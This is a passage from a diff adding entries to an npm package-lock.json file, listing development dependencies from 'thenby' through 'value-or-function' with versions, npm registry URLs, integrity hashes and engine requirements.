+ "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz",
+ "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==",
+ "dev": true
+ },
+ "node_modules/thenify": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+ "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
+ "dev": true,
+ "dependencies": {
+ "any-promise": "^1.0.0"
+ }
+ },
+ "node_modules/thenify-all": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
+ "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
+ "dev": true,
+ "dependencies": {
+ "thenify": ">= 3.1.0 < 4"
+ },
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/through": {
+ "version": "2.3.8",
+ "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
+ "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==",
+ "dev": true
+ },
+ "node_modules/through2": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.1.tgz",
+ "integrity": "sha512-M96dvTalPT3YbYLaKaCuwu+j06D/8Jfib0o/PxbVt6Amhv3dUAtW6rTV1jPgJSBG83I/e04Y6xkVdVhSRhi0ww==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "2 || 3"
+ }
+ },
+ "node_modules/through2-filter": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/through2-filter/-/through2-filter-3.0.0.tgz",
+ "integrity": "sha512-jaRjI2WxN3W1V8/FMZ9HKIBXixtiqs3SQSX4/YGIiP3gL6djW48VoZq9tDqeCWs3MT8YY5wb/zli8VW8snY1CA==",
+ "dev": true,
+ "dependencies": {
+ "through2": "~2.0.0",
+ "xtend": "~4.0.0"
+ }
+ },
+ "node_modules/through2-filter/node_modules/through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ },
+ "node_modules/time-stamp": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/time-stamp/-/time-stamp-1.1.0.tgz",
+ "integrity": "sha512-gLCeArryy2yNTRzTGKbZbloctj64jkZ57hj5zdraXue6aFgd6PmvVtEyiUU+hvU0v7q08oVv8r8ev0tRo6bvgw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-absolute-glob": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/to-absolute-glob/-/to-absolute-glob-2.0.2.tgz",
+ "integrity": "sha512-rtwLUQEwT8ZeKQbyFJyomBRYXyE16U5VKuy0ftxLMK/PZb2fkOsg5r9kHdauuVDbsNdIBoC/HCthpidamQFXYA==",
+ "dev": true,
+ "dependencies": {
+ "is-absolute": "^1.0.0",
+ "is-negated-glob": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-fast-properties": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
+ "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/to-object-path": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
+ "integrity": "sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-object-path/node_modules/kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
+ "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
+ "dev": true,
+ "dependencies": {
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "regex-not": "^1.0.2",
+ "safe-regex": "^1.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex-range": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+ "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^3.0.0",
+ "repeat-string": "^1.6.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex/node_modules/define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-regex/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/to-through": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/to-through/-/to-through-2.0.0.tgz",
+ "integrity": "sha512-+QIz37Ly7acM4EMdw2PRN389OneM5+d844tirkGp4dPKzI5OE72V9OsbFp+CIYJDahZ41ZV05hNtcPAQUAm9/Q==",
+ "dev": true,
+ "dependencies": {
+ "through2": "^2.0.3"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/to-through/node_modules/through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ },
+ "node_modules/tough-cookie": {
+ "version": "4.1.3",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz",
+ "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==",
+ "dev": true,
+ "dependencies": {
+ "psl": "^1.1.33",
+ "punycode": "^2.1.1",
+ "universalify": "^0.2.0",
+ "url-parse": "^1.5.3"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/tr46": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz",
+ "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==",
+ "dev": true,
+ "dependencies": {
+ "punycode": "^2.1.1"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/transfob": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/transfob/-/transfob-1.0.0.tgz",
+ "integrity": "sha512-8pltyWUhEM8NJdYRt5mUlnLEImxozXnmAkD4xL9MKTFyNiKuraibTiXnGbjuxtQdP9CzihRy4PR+Al7Iy2cmCw==",
+ "dev": true
+ },
+ "node_modules/ts-interface-checker": {
+ "version": "0.1.13",
+ "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
+ "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==",
+ "dev": true
+ },
+ "node_modules/type": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz",
+ "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==",
+ "dev": true
+ },
+ "node_modules/type-check": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
+ "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
+ "dev": true,
+ "dependencies": {
+ "prelude-ls": "^1.2.1"
+ },
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/type-detect": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
+ "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/type-fest": {
+ "version": "0.8.1",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
+ "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/typedarray": {
+ "version": "0.0.6",
+ "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
+ "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
+ "dev": true
+ },
+ "node_modules/typedarray-to-buffer": {
+ "version": "3.1.5",
+ "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
+ "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+ "dev": true,
+ "dependencies": {
+ "is-typedarray": "^1.0.0"
+ }
+ },
+ "node_modules/uc.micro": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-1.0.6.tgz",
+ "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==",
+ "dev": true
+ },
+ "node_modules/uglify-js": {
+ "version": "3.4.10",
+ "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.10.tgz",
+ "integrity": "sha512-Y2VsbPVs0FIshJztycsO2SfPk7/KAF/T72qzv9u5EpQ4kB2hQoHlhNQTsNyy6ul7lQtqJN/AoWeS23OzEiEFxw==",
+ "dev": true,
+ "dependencies": {
+ "commander": "~2.19.0",
+ "source-map": "~0.6.1"
+ },
+ "bin": {
+ "uglifyjs": "bin/uglifyjs"
+ },
+ "engines": {
+ "node": ">=0.8.0"
+ }
+ },
+ "node_modules/uglify-js/node_modules/commander": {
+ "version": "2.19.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.19.0.tgz",
+ "integrity": "sha512-6tvAOO+D6OENvRAh524Dh9jcfKTYDQAqvqezbCW82xj5X0pSrcpxtvRKHLG0yBY6SD7PSDrJaj+0AiOcKVd1Xg==",
+ "dev": true
+ },
+ "node_modules/unc-path-regex": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz",
+ "integrity": "sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/underscore": {
+ "version": "1.13.6",
+ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz",
+ "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==",
+ "dev": true
+ },
+ "node_modules/undertaker": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/undertaker/-/undertaker-1.3.0.tgz",
+ "integrity": "sha512-/RXwi5m/Mu3H6IHQGww3GNt1PNXlbeCuclF2QYR14L/2CHPz3DFZkvB5hZ0N/QUkiXWCACML2jXViIQEQc2MLg==",
+ "dev": true,
+ "dependencies": {
+ "arr-flatten": "^1.0.1",
+ "arr-map": "^2.0.0",
+ "bach": "^1.0.0",
+ "collection-map": "^1.0.0",
+ "es6-weak-map": "^2.0.1",
+ "fast-levenshtein": "^1.0.0",
+ "last-run": "^1.1.0",
+ "object.defaults": "^1.0.0",
+ "object.reduce": "^1.0.0",
+ "undertaker-registry": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/undertaker-registry": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/undertaker-registry/-/undertaker-registry-1.0.1.tgz",
+ "integrity": "sha512-UR1khWeAjugW3548EfQmL9Z7pGMlBgXteQpr1IZeZBtnkCJQJIJ1Scj0mb9wQaPvUZ9Q17XqW6TIaPchJkyfqw==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/undertaker/node_modules/fast-levenshtein": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-1.1.4.tgz",
+ "integrity": "sha512-Ia0sQNrMPXXkqVFt6w6M1n1oKo3NfKs+mvaV811Jwir7vAk9a6PVV9VPYf6X3BU97QiLEmuW3uXH9u87zDFfdw==",
+ "dev": true
+ },
+ "node_modules/unicode-canonical-property-names-ecmascript": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz",
+ "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/unicode-match-property-ecmascript": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
+ "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
+ "dev": true,
+ "dependencies": {
+ "unicode-canonical-property-names-ecmascript": "^2.0.0",
+ "unicode-property-aliases-ecmascript": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/unicode-match-property-value-ecmascript": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz",
+ "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/unicode-property-aliases-ecmascript": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz",
+ "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/union-value": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
+ "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
+ "dev": true,
+ "dependencies": {
+ "arr-union": "^3.1.0",
+ "get-value": "^2.0.6",
+ "is-extendable": "^0.1.1",
+ "set-value": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/unique-stream": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz",
+ "integrity": "sha512-2nY4TnBE70yoxHkDli7DMazpWiP7xMdCYqU2nBRO0UB+ZpEkGsSija7MvmvnZFUeC+mrgiUfcHSr3LmRFIg4+A==",
+ "dev": true,
+ "dependencies": {
+ "json-stable-stringify-without-jsonify": "^1.0.1",
+ "through2-filter": "^3.0.0"
+ }
+ },
+ "node_modules/universalify": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
+ "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 4.0.0"
+ }
+ },
+ "node_modules/unset-value": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
+ "integrity": "sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==",
+ "dev": true,
+ "dependencies": {
+ "has-value": "^0.3.1",
+ "isobject": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/unset-value/node_modules/has-value": {
+ "version": "0.3.1",
+ "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
+ "integrity": "sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==",
+ "dev": true,
+ "dependencies": {
+ "get-value": "^2.0.3",
+ "has-values": "^0.1.4",
+ "isobject": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/unset-value/node_modules/has-value/node_modules/isobject": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
+ "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==",
+ "dev": true,
+ "dependencies": {
+ "isarray": "1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/unset-value/node_modules/has-values": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
+ "integrity": "sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/upath": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
+ "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
+ "dev": true,
+ "engines": {
+ "node": ">=4",
+ "yarn": "*"
+ }
+ },
+ "node_modules/update-browserslist-db": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz",
+ "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "escalade": "^3.1.1",
+ "picocolors": "^1.0.0"
+ },
+ "bin": {
+ "update-browserslist-db": "cli.js"
+ },
+ "peerDependencies": {
+ "browserslist": ">= 4.21.0"
+ }
+ },
+ "node_modules/upper-case": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz",
+ "integrity": "sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==",
+ "dev": true
+ },
+ "node_modules/uri-js": {
+ "version": "4.4.1",
+ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+ "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+ "dev": true,
+ "dependencies": {
+ "punycode": "^2.1.0"
+ }
+ },
+ "node_modules/urijs": {
+ "version": "1.19.11",
+ "resolved": "https://registry.npmjs.org/urijs/-/urijs-1.19.11.tgz",
+ "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==",
+ "dev": true
+ },
+ "node_modules/urix": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+ "integrity": "sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==",
+ "deprecated": "Please see https://github.com/lydell/urix#deprecated",
+ "dev": true
+ },
+ "node_modules/url-parse": {
+ "version": "1.5.10",
+ "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+ "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+ "dev": true,
+ "dependencies": {
+ "querystringify": "^2.1.1",
+ "requires-port": "^1.0.0"
+ }
+ },
+ "node_modules/use": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
+ "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/util-deprecate": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+ "dev": true
+ },
+ "node_modules/uuid": {
+ "version": "8.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+ "dev": true,
+ "bin": {
+ "uuid": "dist/bin/uuid"
+ }
+ },
+ "node_modules/v8-compile-cache": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz",
+ "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==",
+ "dev": true
+ },
+ "node_modules/v8flags": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz",
+ "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==",
+ "dev": true,
+ "dependencies": {
+ "homedir-polyfill": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/validate-npm-package-license": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
+ "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
+ "dev": true,
+ "dependencies": {
+ "spdx-correct": "^3.0.0",
+ "spdx-expression-parse": "^3.0.0"
+ }
+ },
+ "node_modules/value-or-function": {
+ "version": "3.0.0",
